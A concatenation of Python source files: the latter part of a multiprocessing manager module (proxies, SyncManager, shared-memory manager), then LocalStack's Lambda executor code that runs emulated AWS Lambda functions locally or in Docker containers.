self._callmethod('#GETVALUE') def _incref(self): if self._owned_by_manager: util.debug('owned_by_manager skipped INCREF of %r', self._token.id) return conn = self._Client(self._token.address, authkey=self._authkey) dispatch(conn, None, 'incref', (self._id,)) util.debug('INCREF %r', self._token.id) self._idset.add(self._id) state = self._manager and self._manager._state self._close = util.Finalize( self, BaseProxy._decref, args=(self._token, self._authkey, state, self._tls, self._idset, self._Client), exitpriority=10 ) @staticmethod def _decref(token, authkey, state, tls, idset, _Client): idset.discard(token.id) # check whether manager is still alive if state is None or state.value == State.STARTED: # tell manager this process no longer cares about referent try: util.debug('DECREF %r', token.id) conn = _Client(token.address, authkey=authkey) dispatch(conn, None, 'decref', (token.id,)) except Exception as e: util.debug('... decref failed %s', e) else: util.debug('DECREF %r -- manager already shutdown', token.id) # check whether we can close this thread's connection because # the process owns no more references to objects for this manager if not idset and hasattr(tls, 'connection'): util.debug('thread %r has no more proxies so closing conn', threading.current_thread().name) tls.connection.close() del tls.connection def _after_fork(self): self._manager = None try: self._incref() except Exception as e: # the proxy may just be for a manager which has shutdown util.info('incref failed: %s' % e) def __reduce__(self): kwds = {} if get_spawning_popen() is not None: kwds['authkey'] = self._authkey if getattr(self, '_isauto', False): kwds['exposed'] = self._exposed_ return (RebuildProxy, (AutoProxy, self._token, self._serializer, kwds)) else: return (RebuildProxy, (type(self), self._token, self._serializer, kwds)) def __deepcopy__(self, memo): return self._getvalue() def __repr__(self): return '<%s object, typeid %r at %#x>' % \ (type(self).__name__, self._token.typeid, id(self)) def __str__(self): ''' Return representation of the referent (or a fall-back if that fails) ''' try: return self._callmethod('__repr__') except Exception: return repr(self)[:-1] + "; '__str__()' failed>" # # Function used for unpickling # def RebuildProxy(func, token, serializer, kwds): ''' Function used for unpickling proxy objects. ''' server = getattr(process.current_process(), '_manager_server', None) if server and server.address == token.address: util.debug('Rebuild a proxy owned by manager, token=%r', token) kwds['manager_owned'] = True if token.id not in server.id_to_local_proxy_obj: server.id_to_local_proxy_obj[token.id] = \ server.id_to_obj[token.id] incref = ( kwds.pop('incref', True) and not getattr(process.current_process(), '_inheriting', False) ) return func(token, serializer, incref=incref, **kwds) # # Functions to create proxies and proxy types # def MakeProxyType(name, exposed, _cache={}): ''' Return a proxy type whose methods are given by `exposed` ''' exposed = tuple(exposed) try: return _cache[(name, exposed)] except KeyError: pass dic = {} for meth in exposed: exec('''def %s(self, /, *args, **kwds): return self._callmethod(%r, args, kwds)''' % (meth, meth), dic) ProxyType = type(name, (BaseProxy,), dic) ProxyType._exposed_ = exposed _cache[(name, exposed)] = ProxyType return ProxyType def AutoProxy(token, serializer, manager=None, authkey=None, exposed=None, incref=True, manager_owned=False): ''' Return an auto-proxy for `token` ''' _Client = listener_client[serializer][1] if exposed is None: conn = _Client(token.address, authkey=authkey) try: exposed = dispatch(conn, None, 'get_methods', (token,)) finally: conn.close() if authkey is None and manager is not None: authkey = manager._authkey if authkey is None: authkey = process.current_process().authkey ProxyType = MakeProxyType('AutoProxy[%s]' % token.typeid, exposed) proxy = ProxyType(token, serializer, manager=manager, authkey=authkey, incref=incref, manager_owned=manager_owned) proxy._isauto = True return proxy # # Types/callables which we will register with SyncManager # class Namespace(object): def __init__(self, /, **kwds): self.__dict__.update(kwds) def __repr__(self): items = list(self.__dict__.items()) temp = [] for name, value in items: if not name.startswith('_'): temp.append('%s=%r' % (name, value)) temp.sort() return '%s(%s)' % (self.__class__.__name__, ', '.join(temp)) class Value(object): def __init__(self, typecode, value, lock=True): self._typecode = typecode self._value = value def get(self): return self._value def set(self, value): self._value = value def __repr__(self): return '%s(%r, %r)'%(type(self).__name__, self._typecode, self._value) value = property(get, set) def Array(typecode, sequence, lock=True): return array.array(typecode, sequence) # # Proxy types used by SyncManager # class IteratorProxy(BaseProxy): _exposed_ = ('__next__', 'send', 'throw', 'close') def __iter__(self): return self def __next__(self, *args): return self._callmethod('__next__', args) def send(self, *args): return self._callmethod('send', args) def throw(self, *args): return self._callmethod('throw', args) def close(self, *args): return self._callmethod('close', args) class AcquirerProxy(BaseProxy): _exposed_ = ('acquire', 'release') def acquire(self, blocking=True, timeout=None): args = (blocking,) if timeout is None else (blocking, timeout) return self._callmethod('acquire', args) def release(self): return self._callmethod('release') def __enter__(self): return self._callmethod('acquire') def __exit__(self, exc_type, exc_val, exc_tb): return self._callmethod('release') class ConditionProxy(AcquirerProxy): _exposed_ = ('acquire', 'release', 'wait', 'notify', 'notify_all') def wait(self, timeout=None): return self._callmethod('wait', (timeout,)) def notify(self, n=1): return self._callmethod('notify', (n,)) def notify_all(self): return self._callmethod('notify_all') def wait_for(self, predicate, timeout=None): result = predicate() if result: return result if timeout is not None: endtime = getattr(time,'monotonic',time.time)() + timeout else: endtime = None waittime = None while not result: if endtime is not None: waittime = endtime - getattr(time,'monotonic',time.time)() if waittime <= 0: break self.wait(waittime) result = predicate() return result class EventProxy(BaseProxy): _exposed_ = ('is_set', 'set', 'clear', 'wait') def is_set(self): return self._callmethod('is_set') def set(self): return self._callmethod('set') def clear(self): return self._callmethod('clear') def wait(self, timeout=None): return self._callmethod('wait', (timeout,)) class BarrierProxy(BaseProxy): _exposed_ = ('__getattribute__', 'wait', 'abort', 'reset') def wait(self, timeout=None): return self._callmethod('wait', (timeout,)) def abort(self): return self._callmethod('abort') def reset(self): return self._callmethod('reset') @property def parties(self): return self._callmethod('__getattribute__', ('parties',)) @property def n_waiting(self): return self._callmethod('__getattribute__', ('n_waiting',)) @property def broken(self): return self._callmethod('__getattribute__', ('broken',)) class NamespaceProxy(BaseProxy): _exposed_ = ('__getattribute__', '__setattr__', '__delattr__') def __getattr__(self, key): if key[0] == '_': return object.__getattribute__(self, key) callmethod = object.__getattribute__(self, '_callmethod') return callmethod('__getattribute__', (key,)) def __setattr__(self, key, value): if key[0] == '_': return object.__setattr__(self, key, value) callmethod = object.__getattribute__(self, '_callmethod') return callmethod('__setattr__', (key, value)) def __delattr__(self, key): if key[0] == '_': return object.__delattr__(self, key) callmethod = object.__getattribute__(self, '_callmethod') return callmethod('__delattr__', (key,)) class ValueProxy(BaseProxy): _exposed_ = ('get', 'set') def get(self): return self._callmethod('get') def set(self, value): return self._callmethod('set', (value,)) value = property(get, set) __class_getitem__ = classmethod(types.GenericAlias) BaseListProxy = MakeProxyType('BaseListProxy', ( '__add__', '__contains__', '__delitem__', '__getitem__', '__len__', '__mul__', '__reversed__', '__rmul__', '__setitem__', 'append', 'count', 'extend', 'index', 'insert', 'pop', 'remove', 'reverse', 'sort', '__imul__' )) class ListProxy(BaseListProxy): def __iadd__(self, value): self._callmethod('extend', (value,)) return self def __imul__(self, value): self._callmethod('__imul__', (value,)) return self DictProxy = MakeProxyType('DictProxy', ( '__contains__', '__delitem__', '__getitem__', '__iter__', '__len__', '__setitem__', 'clear', 'copy', 'get', 'has_key', 'items', 'keys', 'pop', 'popitem', 'setdefault', 'update', 'values' )) DictProxy._method_to_typeid_ = { '__iter__': 'Iterator', } ArrayProxy = MakeProxyType('ArrayProxy', ( '__len__', '__getitem__', '__setitem__' )) BasePoolProxy = MakeProxyType('PoolProxy', ( 'apply', 'apply_async', 'close', 'imap', 'imap_unordered', 'join', 'map', 'map_async', 'starmap', 'starmap_async', 'terminate', )) BasePoolProxy._method_to_typeid_ = { 'apply_async': 'AsyncResult', 'map_async': 'AsyncResult', 'starmap_async': 'AsyncResult', 'imap': 'Iterator', 'imap_unordered': 'Iterator' } class PoolProxy(BasePoolProxy): def __enter__(self): return self def __exit__(self, exc_type, exc_val, exc_tb): self.terminate() # # Definition of SyncManager # class SyncManager(BaseManager): ''' Subclass of `BaseManager` which supports a number of shared object types. The types registered are those intended for the synchronization of threads, plus `dict`, `list` and `Namespace`. The `multiprocess.Manager()` function creates started instances of this class. ''' SyncManager.register('Queue', queue.Queue) SyncManager.register('JoinableQueue', queue.Queue) SyncManager.register('Event', threading.Event, EventProxy) SyncManager.register('Lock', threading.Lock, AcquirerProxy) SyncManager.register('RLock', threading.RLock, AcquirerProxy) SyncManager.register('Semaphore', threading.Semaphore, AcquirerProxy) SyncManager.register('BoundedSemaphore', threading.BoundedSemaphore, AcquirerProxy) SyncManager.register('Condition', threading.Condition, ConditionProxy) SyncManager.register('Barrier', threading.Barrier, BarrierProxy) SyncManager.register('Pool', pool.Pool, PoolProxy) SyncManager.register('list', list, ListProxy) SyncManager.register('dict', dict, DictProxy) SyncManager.register('Value', Value, ValueProxy) SyncManager.register('Array', Array, ArrayProxy) SyncManager.register('Namespace', Namespace, NamespaceProxy) # types returned by methods of PoolProxy SyncManager.register('Iterator', proxytype=IteratorProxy, create_method=False) SyncManager.register('AsyncResult', create_method=False) # # Definition of SharedMemoryManager and SharedMemoryServer # if HAS_SHMEM: class _SharedMemoryTracker: "Manages one or more shared memory segments." def __init__(self, name, segment_names=[]): self.shared_memory_context_name = name self.segment_names = segment_names def register_segment(self, segment_name): "Adds the supplied shared memory block name to tracker." util.debug(f"Register segment {segment_name!r} in pid {getpid()}") self.segment_names.append(segment_name) def destroy_segment(self, segment_name): """Calls unlink() on the shared memory block with the supplied name and removes it from the list of blocks being tracked.""" util.debug(f"Destroy segment {segment_name!r} in pid {getpid()}") self.segment_names.remove(segment_name) segment = shared_memory.SharedMemory(segment_name) segment.close() segment.unlink() def unlink(self): "Calls destroy_segment() on all tracked shared memory blocks." for segment_name in self.segment_names[:]: self.destroy_segment(segment_name) def __del__(self): util.debug(f"Call {self.__class__.__name__}.__del__ in {getpid()}") self.unlink() def __getstate__(self): return (self.shared_memory_context_name, self.segment_names) def __setstate__(self, state): self.__init__(*state) class SharedMemoryServer(Server): public = Server.public + \ ['track_segment', 'release_segment', 'list_segments'] def __init__(self, *args, **kwargs): Server.__init__(self, *args, **kwargs) address = self.address # The address of Linux abstract namespaces can be bytes if isinstance(address, bytes): address = os.fsdecode(address) self.shared_memory_context = \ _SharedMemoryTracker(f"shm_{address}_{getpid()}") util.debug(f"SharedMemoryServer started by pid {getpid()}") def create(self, c, typeid, /, *args, **kwargs): """Create a new distributed-shared object (not backed by a shared memory block) and return its id to be used in a Proxy Object.""" # Unless set up as a shared proxy, don't make shared_memory_context # a standard part of kwargs. This makes things easier for supplying # simple functions. if hasattr(self.registry[typeid][-1], "_shared_memory_proxy"): kwargs['shared_memory_context'] = self.shared_memory_context return Server.create(self, c, typeid, *args, **kwargs) def shutdown(self, c): "Call unlink() on all tracked shared memory, terminate the Server." self.shared_memory_context.unlink() return Server.shutdown(self, c) def track_segment(self, c, segment_name): "Adds the supplied shared memory block name to Server's tracker." self.shared_memory_context.register_segment(segment_name) def release_segment(self, c, segment_name): """Calls unlink() on the shared memory block with the supplied name and removes it from the tracker instance inside the Server.""" self.shared_memory_context.destroy_segment(segment_name) def list_segments(self, c): """Returns a list of names of shared memory blocks that the Server is currently tracking.""" return self.shared_memory_context.segment_names class SharedMemoryManager(BaseManager): """Like SyncManager but uses SharedMemoryServer instead of Server. It provides methods for creating and returning SharedMemory instances and for creating a list-like object (ShareableList) backed by shared memory. It also provides methods that create and return Proxy Objects that support synchronization across processes (i.e. multi-process-safe locks and semaphores). """ _Server = SharedMemoryServer def __init__(self, *args, **kwargs): if os.name == "posix": # bpo-36867: Ensure the resource_tracker is running before # launching the manager process, so that concurrent # shared_memory manipulation both in the manager and in the # current process does not create two resource_tracker # processes. from . import resource_tracker resource_tracker.ensure_running() BaseManager.__init__(self, *args, **kwargs) util.debug(f"{self.__class__.__name__} created by pid {getpid()}") def __del__(self): util.debug(f"{self.__class__.__name__}.__del__ by pid {getpid()}") pass def get_server(self): 'Better than monkeypatching for now; merge into Server ultimately' if self._state.value != State.INITIAL: if self._state.value == State.STARTED: raise ProcessError("Already started SharedMemoryServer") elif self._state.value == State.SHUTDOWN: raise ProcessError("SharedMemoryManager has shut down") else: raise ProcessError( "Unknown state {!r}".format(self._state.value)) return self._Server(self._registry, self._address, self._authkey, self._serializer) def SharedMemory(self, size): """Returns a new SharedMemory instance with the specified size in bytes, to be tracked by the manager.""" with self._Client(self._address, authkey=self._authkey) as conn: sms = shared_memory.SharedMemory(None, create=True, size=size) try: dispatch(conn, None, 'track_segment', (sms.name,)) except BaseException as e: sms.unlink() raise e return sms def ShareableList(self, sequence): """Returns a new ShareableList instance populated with the values from the input sequence, to be tracked by the manager.""" with self._Client(self._address, authkey=self._authkey) as conn: sl = shared_memory.ShareableList(sequence) try: dispatch(conn, None, 'track_segment', (sl.shm.name,)) except BaseException as e: sl.shm.unlink() raise e return sl
lambda_executors.py
import os import re import json import time import logging import threading import subprocess from multiprocessing import Process, Queue try: from shlex import quote as cmd_quote except ImportError: # for Python 2.7 from pipes import quote as cmd_quote from localstack import config from localstack.utils.aws import aws_stack from localstack.utils.common import run, TMP_FILES, short_uid, save_file, to_str, cp_r, CaptureOutput from localstack.services.install import INSTALL_PATH_LOCALSTACK_FAT_JAR # constants LAMBDA_EXECUTOR_JAR = INSTALL_PATH_LOCALSTACK_FAT_JAR LAMBDA_EXECUTOR_CLASS = 'cloud.localstack.LambdaExecutor' EVENT_FILE_PATTERN = '%s/lambda.event.*.json' % config.TMP_FOLDER LAMBDA_RUNTIME_PYTHON27 = 'python2.7' LAMBDA_RUNTIME_PYTHON36 = 'python3.6' LAMBDA_RUNTIME_NODEJS = 'nodejs' LAMBDA_RUNTIME_NODEJS610 = 'nodejs6.10' LAMBDA_RUNTIME_NODEJS810 = 'nodejs8.10' LAMBDA_RUNTIME_JAVA8 = 'java8' LAMBDA_RUNTIME_DOTNETCORE2 = 'dotnetcore2.0' LAMBDA_RUNTIME_DOTNETCORE21 = 'dotnetcore2.1' LAMBDA_RUNTIME_GOLANG = 'go1.x' LAMBDA_RUNTIME_RUBY = 'ruby' LAMBDA_RUNTIME_RUBY25 = 'ruby2.5' LAMBDA_RUNTIME_CUSTOM_RUNTIME = 'provided' LAMBDA_EVENT_FILE = 'event_file.json' # logger LOG = logging.getLogger(__name__) # maximum time a pre-allocated container can sit idle before getting killed MAX_CONTAINER_IDLE_TIME = 600 class LambdaExecutor(object): """ Base class for Lambda executors. Subclasses must overwrite the _execute method """ def __init__(self): # keeps track of each function arn and the last time it was invoked self.function_invoke_times = {} def execute(self, func_arn, func_details, event, context=None, version=None, asynchronous=False): # set the invocation time in milliseconds invocation_time = int(time.time() * 1000) # start the execution try: result, log_output = self._execute(func_arn, func_details, event, context, version, asynchronous) finally: self.function_invoke_times[func_arn] = invocation_time # forward log output to cloudwatch logs self._store_logs(func_details, log_output, invocation_time) # return final result return result, log_output def _execute(self, func_arn, func_details, event, context=None, version=None, asynchronous=False): """ This method must be overwritten by subclasses. """ raise Exception('Not implemented.') def startup(self): pass def cleanup(self, arn=None): pass def _store_logs(self, func_details, log_output, invocation_time): if not aws_stack.is_service_enabled('logs'): return logs_client = aws_stack.connect_to_service('logs') log_group_name = '/aws/lambda/%s' % func_details.name() time_str = time.strftime('%Y/%m/%d', time.gmtime(invocation_time)) log_stream_name = '%s/[$LATEST]%s' % (time_str, short_uid()) # make sure that the log group exists log_groups = logs_client.describe_log_groups()['logGroups'] log_groups = [lg['logGroupName'] for lg in log_groups] if log_group_name not in log_groups: logs_client.create_log_group(logGroupName=log_group_name) # create a new log stream for this lambda invocation logs_client.create_log_stream(logGroupName=log_group_name, logStreamName=log_stream_name) # store new log events under the log stream invocation_time = invocation_time finish_time = int(time.time() * 1000) log_lines = log_output.split('\n') time_diff_per_line = float(finish_time - invocation_time) / float(len(log_lines)) log_events = [] for i, line in enumerate(log_lines): if not line: continue # simple heuristic: assume log lines were emitted in regular intervals log_time = invocation_time + float(i) * time_diff_per_line event = {'timestamp': int(log_time), 'message': line} log_events.append(event) if not log_events: return logs_client.put_log_events( logGroupName=log_group_name, logStreamName=log_stream_name, logEvents=log_events ) def run_lambda_executor(self, cmd, env_vars={}, asynchronous=False): process = run(cmd, asynchronous=True, stderr=subprocess.PIPE, outfile=subprocess.PIPE, env_vars=env_vars) if asynchronous: result = '{"asynchronous": "%s"}' % asynchronous log_output = 'Lambda executed asynchronously' else: result, log_output = process.communicate() result = to_str(result).strip() log_output = to_str(log_output).strip() return_code = process.returncode # Note: The user's code may have been logging to stderr, in which case the logs # will be part of the "result" variable here. Hence, make sure that we extract # only the *last* line of "result" and consider anything above that as log output. if '\n' in result: additional_logs, _, result = result.rpartition('\n') log_output += '\n%s' % additional_logs if return_code != 0: raise Exception('Lambda process returned error status code: %s. Output:\n%s' % (return_code, log_output)) return result, log_output class ContainerInfo: """ Contains basic information about a docker container. """ def __init__(self, name, entry_point): self.name = name self.entry_point = entry_point class LambdaExecutorContainers(LambdaExecutor): """ Abstract executor class for executing Lambda functions in Docker containers """ def prepare_execution(self, func_arn, env_vars, runtime, command, handler, lambda_cwd): raise Exception('Not implemented') def _execute(self, func_arn, func_details, event, context=None, version=None, asynchronous=False): lambda_cwd = func_details.cwd runtime = func_details.runtime handler = func_details.handler environment = func_details.envvars.copy() # configure USE_SSL in environment if config.USE_SSL: environment['USE_SSL'] = '1' # prepare event body if not event: LOG.warning('Empty event body specified for invocation of Lambda "%s"' % func_arn) event = {} event_body = json.dumps(event) docker_host = config.DOCKER_HOST_FROM_CONTAINER # amend the environment variables for execution environment['AWS_LAMBDA_EVENT_BODY'] = event_body environment['HOSTNAME'] = docker_host environment['LOCALSTACK_HOSTNAME'] = docker_host if context: environment['AWS_LAMBDA_FUNCTION_NAME'] = context.function_name environment['AWS_LAMBDA_FUNCTION_VERSION'] = context.function_version environment['AWS_LAMBDA_FUNCTION_INVOKED_ARN'] = context.invoked_function_arn # custom command to execute in the container command = '' # if running a Java Lambda, set up classpath arguments if runtime == LAMBDA_RUNTIME_JAVA8: # copy executor jar into temp directory target_file = os.path.join(lambda_cwd, os.path.basename(LAMBDA_EXECUTOR_JAR)) if not os.path.exists(target_file): cp_r(LAMBDA_EXECUTOR_JAR, target_file) # TODO cleanup once we have custom Java Docker image taskdir = '/var/task' save_file(os.path.join(lambda_cwd, LAMBDA_EVENT_FILE), event_body) command = ("bash -c 'cd %s; java -cp \".:`ls *.jar | tr \"\\n\" \":\"`\" \"%s\" \"%s\" \"%s\"'" % (taskdir, LAMBDA_EXECUTOR_CLASS, handler, LAMBDA_EVENT_FILE)) # determine the command to be executed (implemented by subclasses) cmd = self.prepare_execution(func_arn, environment, runtime, command, handler, lambda_cwd) # lambci writes the Lambda result to stdout and logs to stderr, fetch it from there! LOG.debug('Running lambda cmd: %s' % cmd) result, log_output = self.run_lambda_executor(cmd, environment, asynchronous) log_formatted = log_output.strip().replace('\n', '\n> ') LOG.debug('Lambda %s result / log output:\n%s\n>%s' % (func_arn, result.strip(), log_formatted)) return result, log_output class LambdaExecutorReuseContainers(LambdaExecutorContainers): """ Executor class for executing Lambda functions in re-usable Docker containers """ def __init__(self): super(LambdaExecutorReuseContainers, self).__init__() # locking thread for creation/destruction of docker containers. self.docker_container_lock = threading.RLock() def prepare_execution(self, func_arn, env_vars, runtime, command, handler, lambda_cwd): # check whether the Lambda has been invoked before has_been_invoked_before = func_arn in self.function_invoke_times # create/verify the docker container is running. LOG.debug('Priming docker container with runtime "%s" and arn "%s".', runtime, func_arn) container_info = self.prime_docker_container(runtime, func_arn, env_vars.items(), lambda_cwd) # Note: currently "docker exec" does not support --env-file, i.e., environment variables can only be # passed directly on the command line, using "-e" below. TODO: Update this code once --env-file is # available for docker exec, to better support very large Lambda events (very long environment values) exec_env_vars = ' '.join(['-e {}="${}"'.format(k, k) for (k, v) in env_vars.items()]) if not command: command = '%s %s' % (container_info.entry_point, handler) # determine files to be copied into the container copy_command = '' event_file = os.path.join(lambda_cwd, LAMBDA_EVENT_FILE) if not has_been_invoked_before: # if this is the first invocation: copy the entire folder into the container copy_command = 'docker cp "%s/." "%s:/var/task"; ' % (lambda_cwd, container_info.name) elif os.path.exists(event_file): # otherwise, copy only the event file if it exists copy_command = 'docker cp "%s" "%s:/var/task"; ' % (event_file, container_info.name) cmd = ( '%s' # copy files command 'docker exec' ' %s' # env variables ' %s' # container name ' %s' # run cmd ) % (copy_command, exec_env_vars, container_info.name, command) LOG.debug('Command for docker-reuse Lambda executor: %s' % cmd) return cmd def startup(self): self.cleanup() # start a process to remove idle containers self.start_idle_container_destroyer_interval() def cleanup(self, arn=None): if arn: self.function_invoke_times.pop(arn, None) return self.destroy_docker_container(arn) self.function_invoke_times = {} return self.destroy_existing_docker_containers() def prime_docker_container(self, runtime, func_arn, env_vars, lambda_cwd): """ Prepares a persistent docker container for a specific function. :param runtime: Lamda runtime environment. python2.7, nodejs6.10, etc. :param func_arn: The ARN of the lambda function. :param env_vars: The environment variables for the lambda. :param lambda_cwd: The local directory containing the code for the lambda function. :return: ContainerInfo class containing the container name and default entry point. """ with self.docker_container_lock: # Get the container name and id. container_name = self.get_container_name(func_arn) status = self.get_docker_container_status(func_arn) LOG.debug('Priming docker container (status "%s"): %s' % (status, container_name)) # Container is not running or doesn't exist. if status < 1: # Make sure the container does not exist in any form/state. self.destroy_docker_container(func_arn) env_vars_str = ' '.join(['-e {}={}'.format(k, cmd_quote(v)) for (k, v) in env_vars]) network = config.LAMBDA_DOCKER_NETWORK network_str = ' --network="%s" ' % network if network else '' # Create and start the container LOG.debug('Creating container: %s' % container_name) cmd = ( 'docker create' ' --rm' ' --name "%s"' ' --entrypoint /bin/bash' # Load bash when it starts. ' --interactive' # Keeps the container running bash. ' -e AWS_LAMBDA_EVENT_BODY="$AWS_LAMBDA_EVENT_BODY"' ' -e HOSTNAME="$HOSTNAME"' ' -e LOCALSTACK_HOSTNAME="$LOCALSTACK_HOSTNAME"' ' %s' # env_vars ' %s' # network ' lambci/lambda:%s' ) % (container_name, env_vars_str, network_str, runtime) LOG.debug(cmd) run(cmd) LOG.debug('Copying files to container "%s" from "%s".' % (container_name, lambda_cwd)) cmd = ( 'docker cp' ' "%s/." "%s:/var/task"' ) % (lambda_cwd, container_name) LOG.debug(cmd) run(cmd) LOG.debug('Starting container: %s' % container_name) cmd = 'docker start %s' % (container_name) LOG.debug(cmd) run(cmd) # give the container some time to start up time.sleep(1) # Get the entry point for the image. LOG.debug('Getting the entrypoint for image: lambci/lambda:%s' % runtime) cmd = ( 'docker image inspect' ' --format="{{ .ContainerConfig.Entrypoint }}"' ' lambci/lambda:%s' ) % (runtime) LOG.debug(cmd) run_result = run(cmd) entry_point = run_result.strip('[]\n\r ') container_network = self.get_docker_container_network(func_arn) LOG.debug('Using entrypoint "%s" for container "%s" on network "%s".' % (entry_point, container_name, container_network)) return ContainerInfo(container_name, entry_point) def destroy_docker_container(self, func_arn): """ Stops and/or removes a docker container for a specific lambda function ARN. :param func_arn: The ARN of the lambda function. :return: None """ with self.docker_container_lock: status = self.get_docker_container_status(func_arn) # Get the container name and id. container_name = self.get_container_name(func_arn) if status == 1: LOG.debug('Stopping container: %s' % container_name) cmd = ( 'docker stop -t0 %s' ) % (container_name) LOG.debug(cmd) run(cmd, asynchronous=False, stderr=subprocess.PIPE, outfile=subprocess.PIPE) status = self.get_docker_container_status(func_arn) if status == -1: LOG.debug('Removing container: %s' % container_name) cmd = ( 'docker rm %s' ) % (container_name) LOG.debug(cmd) run(cmd, asynchronous=False, stderr=subprocess.PIPE, outfile=subprocess.PIPE) def get_all_container_names(self): """ Returns a list of container names for lambda containers. :return: A String[] localstack docker container names for each function. """ with self.docker_container_lock: LOG.debug('Getting all lambda containers names.') cmd = 'docker ps -a --filter="name=localstack_lambda_*" --format "{{.Names}}"' LOG.debug(cmd) cmd_result = run(cmd, asynchronous=False, stderr=subprocess.PIPE, outfile=subprocess.PIPE).strip() if len(cmd_result) > 0: container_names = cmd_result.split('\n') else: container_names = [] return container_names def destroy_existing_docker_containers(self): """ Stops and/or removes all lambda docker containers for localstack. :return: None """ with self.docker_container_lock: container_names = self.get_all_container_names() LOG.debug('Removing %d containers.' % len(container_names)) for container_name in container_names: cmd = 'docker rm -f %s' % container_name LOG.debug(cmd) run(cmd, asynchronous=False, stderr=subprocess.PIPE, outfile=subprocess.PIPE) def get_docker_container_status(self, func_arn): """ Determine the status of a docker container. :param func_arn: The ARN of the lambda function. :return: 1 If the container is running, -1 if the container exists but is not running 0 if the container does not exist. """ with self.docker_container_lock: # Get the container name and id. container_name = self.get_container_name(func_arn) # Check if the container is already running # Note: filtering by *exact* name using regex filter '^...$' seems unstable on some # systems. Therefore, we use a combination of filter and grep to get the results. cmd = ("docker ps -a --filter name='%s' " '--format "{{ .Status }} - {{ .Names }}" ' '| grep -w "%s" | cat') % (container_name, container_name) LOG.debug('Getting status for container "%s": %s' % (container_name, cmd)) cmd_result = run(cmd) # If the container doesn't exist. Create and start it. container_status = cmd_result.strip() if len(container_status) == 0: return 0 if container_status.lower().startswith('up '): return 1 return -1 def get_docker_container_network(self, func_arn): """ Determine the network of a docker container. :param func_arn: The ARN of the lambda function. :return: name of the container network """ with self.docker_container_lock: status = self.get_docker_container_status(func_arn) # container does not exist if status == 0: return '' # Get the container name. container_name = self.get_container_name(func_arn) # Get the container network LOG.debug('Getting container network: %s' % container_name) cmd = ( 'docker inspect %s' ' --format "{{ .HostConfig.NetworkMode }}"' ) % (container_name) LOG.debug(cmd) cmd_result = run(cmd, asynchronous=False, stderr=subprocess.PIPE, outfile=subprocess.PIPE) container_network = cmd_result.strip() return container_network def idle_container_destroyer(self): """ Iterates though all the lambda containers and destroys any container that has been inactive for longer than MAX_CONTAINER_IDLE_TIME. :return: None """ LOG.info('Checking if there are idle containers.') current_time = time.time() for func_arn, last_run_time in self.function_invoke_times.items(): duration = current_time - last_run_time # not enough idle time has passed if duration < MAX_CONTAINER_IDLE_TIME: continue # container has been idle, destroy it. self.destroy_docker_container(func_arn) def start_idle_container_destroyer_interval(self): """ Starts a repeating timer that triggers start_idle_container_destroyer_interval every 60 seconds. Thus checking for idle containers and destroying them. :return: None """ self.idle_container_destroyer() threading.Timer(60.0, self.start_idle_container_destroyer_interval).start() def get_container_name(self, func_arn): """ Given a function ARN, returns a valid docker container name. :param func_arn: The ARN of the lambda function. :return: A docker compatible name for the arn. """ return 'localstack_lambda_' + re.sub(r'[^a-zA-Z0-9_.-]', '_', func_arn) class LambdaExecutorSeparateContainers(LambdaExecutorContainers): def prepare_execution(self, func_arn, env_vars, runtime, command, handler, lambda_cwd): entrypoint = '' if command: entrypoint = ' --entrypoint ""' else: command = '"%s"' % handler env_vars_string = ' '.join(['-e {}="${}"'.format(k, k) for (k, v) in env_vars.items()]) network = config.LAMBDA_DOCKER_NETWORK network_str = ' --network="%s" ' % network if network else '' if config.LAMBDA_REMOTE_DOCKER: cmd = ( 'CONTAINER_ID="$(docker create' ' %s' ' %s' ' %s' # network ' "lambci/lambda:%s" %s' ')";' 'docker cp "%s/." "$CONTAINER_ID:/var/task";' 'docker start -a "$CONTAINER_ID";' ) % (entrypoint, env_vars_string, network_str, runtime, command, lambda_cwd) else: lambda_cwd_on_host = self.get_host_path_for_path_in_docker(lambda_cwd) cmd = ( 'docker run' '%s -v "%s":/var/task' ' %s' ' %s' # network ' --rm' ' "lambci/lambda:%s" %s' ) % (entrypoint, lambda_cwd_on_host, env_vars_string, network_str, runtime, command) return cmd def get_host_path_for_path_in_docker(self, path): return re.sub(r'^%s/(.*)$' % config.TMP_FOLDER, r'%s/\1' % config.HOST_TMP_FOLDER, path) class LambdaExecutorLocal(LambdaExecutor): def _execute(self, func_arn, func_details, event, context=None, version=None, asynchronous=False): lambda_cwd = func_details.cwd environment = func_details.envvars.copy() # execute the Lambda function in a forked sub-process, sync result via queue queue = Queue() lambda_function = func_details.function(version) def do_execute(): # now we're executing in the child process, safe to change CWD and ENV if lambda_cwd: os.chdir(lambda_cwd) if environment: os.environ.update(environment) result = lambda_function(event, context) queue.put(result) process = Process(target=do_execute) with CaptureOutput() as c: process.run() result = queue.get() # TODO: Interweaving stdout/stderr currently not supported log_output = '' for stream in (c.stdout(), c.stderr()): if stream: log_output += ('\n' if log_output else '') + stream return result, log_output def execute_java_lambda(self, event, context, handler, main_file): event_file = EVENT_FILE_PATTERN.replace('*', short_uid()) save_file(event_file, json.dumps(event)) TMP_FILES.append(event_file) class_name = handler.split('::')[0] classpath = '%s:%s' % (LAMBDA_EXECUTOR_JAR, main_file) cmd = 'java -cp %s %s %s %s' % (classpath, LAMBDA_EXECUTOR_CLASS, class_name, event_file) asynchronous = False # flip asynchronous flag depending on origin if 'Records' in event: # TODO: add more event supporting asynchronous lambda execution if 'Sns' in event['Records'][0]: asynchronous = True if 'dynamodb' in event['Records'][0]: asynchronous = True result, log_output = self.run_lambda_executor(cmd, asynchronous=asynchronous) LOG.debug('Lambda result / log output:\n%s\n> %s' % (result.strip(), log_output.strip().replace('\n', '\n> '))) return result, log_output # -------------- # GLOBAL STATE # -------------- EXECUTOR_LOCAL = LambdaExecutorLocal() EXECUTOR_CONTAINERS_SEPARATE = LambdaExecutorSeparateContainers() EXECUTOR_CONTAINERS_REUSE = LambdaExecutorReuseContainers() DEFAULT_EXECUTOR = EXECUTOR_LOCAL # the keys of AVAILABLE_EXECUTORS map to the LAMBDA_EXECUTOR config variable AVAILABLE_EXECUTORS = { 'local': EXECUTOR_LOCAL, 'docker': EXECUTOR_CONTAINERS_SEPARATE, 'docker-reuse': EXECUTOR_CONTAINERS_REUSE }
ppo_wm.py
